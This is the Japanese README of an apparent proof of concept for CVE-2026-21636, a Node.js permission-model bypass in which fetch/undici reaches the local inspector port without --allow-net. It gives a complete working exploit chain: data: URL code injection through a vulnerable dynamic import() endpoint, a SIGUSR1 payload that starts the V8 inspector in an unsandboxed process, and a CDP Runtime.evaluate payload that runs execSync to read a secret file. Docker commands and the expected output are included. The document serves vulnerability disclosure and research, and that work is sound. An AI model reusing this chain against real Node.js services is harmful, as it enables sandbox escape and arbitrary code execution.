
Node.jsの権限モデルバイパス(CVE-2026-21636)を実証する概念実証で、undici/fetchを介したローカルサービスへのネットワークアクセスを可能にし、CDPを通じて任意のコード実行を実現します。
Node.js の権限モデル(--permission)は、ファイルシステム、子プロセス、ワーカー、ネットワークへのアクセスを制限することでプロセスをサンドボックス化するように設計されています。CVE-2026-21636 は、undici/fetch(および net/tls)を介してUnix ドメインソケットとローカル TCP アドレスに対して行われる接続が、--allow-net が指定されていない場合でもネットワークガードを完全にバイパスすることを明らかにしています。
影響を受けるバージョン: Node.js v25(ネットワーク権限は開示時点ではまだ実験的です)。
この PoC は、同じバイパスが観測可能な v22 でコンセプトを再現しています。
--permission(ただし --allow-net や --allow-child-process はなし)で実行中のプロセスに任意の JavaScript を注入できる攻撃者は、以下のことが可能です:
supervisord の下でコンテナ内に 2 つのプロセスが並行して実行されます:
| プロセス |
|---|
target.cjs は起動時に自身の PID を /tmp/target.pid に書き込み、その後無限ループします(アイドル状態の被害者プロセス)。server.mjs は :8000 で Express サーバーを公開し、/pid エンドポイントと脆弱な /language エンドポイントを提供します。
/app/secret.txt は app が所有しています(chmod 444)。両方のプロセスが OS レベルでアクセスできます。このエクスプロイトはファイル権限の壁に依存していません。--allow-net が指定されていないにもかかわらず、server.mjs が fetch()/WebSocket を介して 127.0.0.1:9229 に到達し、サンドボックス化されていない target.cjs プロセス内で任意のコードを実行できることを実証しています。CDP を介した secret.txt の読み取りは、そのコード実行の証明です。
注: この PoC が実際に実証すること
server.mjsはすでに--allow-fs-read=/で実行されているため、JS インジェクション(ステップ 1)のみを使用してサンドボックス化されたプロセスから/app/secret.txtを直接読み取ることは簡単に可能です:import { readFileSync } from 'fs'; export default { secret: readFileSync('/app/secret.txt', 'utf8') };ファイルシステムの読み取りはこの PoC の目的ではありません。目標は CVE-2026-21636 を実証することです:
--allow-netが指定されていないにもかかわらず、fetch()(undici)が127.0.0.1:9229への TCP 接続を確立し、権限モデルのネットワークガードを完全にバイパスできることを示します。このエクスプロイトはそのバイパスを使用して、CDP を介して完全にサンドボックス化されていないtarget.cjsプロセスにピボットし、サンドボックス外での任意のコード実行を達成します。これは、どのような--allow-fs-readでも許可されないことです。
POST /languageこのセクションは PoC の範囲外です。
// server.mjs
app.post('/language', async (req, res) => {
const requested = req.body?.lang ?? 'fr';
res.json(await import(requested + '/index.js'));
});
サーバーはユーザー制御の文字列に対して動的な import() を実行します。Node.js の import() は data: URL スキームをネイティブにサポートしています:
data:text/javascript,<パーセントエンコードされた JS>
サーバーによって追加される /index.js サフィックスは、ペイロードの末尾に // を追加することで無効化されます(URL コメント / 無視されるパスフラグメントとして扱われます)。
これにより、サンドボックス化されたプロセス内での任意の JavaScript 実行が可能になります - CVE-2026-21636 を悪用するためのエントリポイントです。
サーバーは次のコマンドで起動します:
node --permission --allow-fs-read=/ /app/server.mjs
意図: 攻撃者が server.mjs 内でコードを実行しても、ネットワークに到達できず、プロセスを生成できず、インスペクターにアクセスできないようにすること。
CVE-2026-21636 は --allow-net の境界を破ります。
GET /pid → { "pid": <N> }
target.cjs は起動時に自身の PID を /tmp/target.pid に書き込みます。サーバーはそれを公開します。これにより、CDP リレーとして使用される被害者プロセスが特定されます。
これはエントリポイントに JS を注入することでも実行できます。簡略化するために、/pid エンドポイントを作成しました。
target.cjs で V8 インスペクターを有効化POST /language を介して注入されるペイロード(data: URL として):
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };
Node.js プロセスが SIGUSR1 を受信すると、V8/CDP デバッガーが起動(または再開)され、次のアドレスでリッスンを開始します:
127.0.0.1:9229
target.cjs は --permission なしで実行されるため、そのインスペクターは完全に特権を持ちます。require('child_process').execSync(...) を含む任意の式を評価できます。
シグナルの送信(process.kill)は権限モデルによって制限されないため、このステップはサンドボックス内から成功します。
POST /language を介して注入される 2 番目のペイロード:
// fetch the list of debuggable targets from the inspector HTTP API
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
//then open a WebSocket to the CDP endpoint of target.cjs
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `process.mainModule.require('child_process')
.execSync('cat /app/secret.txt').toString()`,
returnByValue: true
}
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
--allow-net が指定されていないのにこれが機能する理由:
Node.js の fetch() は undici によって実装されています。CVE-2026-21636 は、http://127.0.0.1:...(および UDS socketPath オプション)に対する undici の接続パスが権限モデルのネットワークチェックを通過しないことを示しています。サンドボックスは発信ネットワークアクセスが行われていないと認識しますが、:9229 への TCP 接続は成功します。
CDP の Runtime.evaluate 呼び出しはサンドボックス化されていない target.cjs プロセス内で実行されるため、require('child_process') が利用可能で、execSync が自由に動作します。
attacker (Python script)
│
├─[1]─ GET /pid → pid = N
│
├─[2]─ POST /language data:js SIGUSR1 → target.cjs inspector starts on :9229
│
└─[3]─ POST /language data:js fetch+WS → CDP Runtime.evaluate → cat /app/secret.txt
↑
CVE-2026-21636 bypass here
(fetch to 127.0.0.1 without --allow-net)
# Build and start the environment
docker compose up --build -d
# Run the exploit
python3 exploit.py
期待される出力:
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
| ユーザー |
|---|
| フラグ |
|---|
| 機能 |
|---|
target.cjs | app | なし | 完全な Node.js API、サンドボックスなし |
server.mjs | app | --permission --allow-fs-read=/ | 完全な FS 読み取り — ネットワークなし、子プロセスなし、ワーカーなし |
| 権限 | ステータス |
|---|
--allow-fs-read=/ | 許可(完全な読み取り) |
--allow-fs-write | 拒否 |
--allow-net | 拒否(実験的、未設定) |
--allow-child-process | 拒否 |
--allow-worker | 拒否 |
--allow-inspector | 拒否 |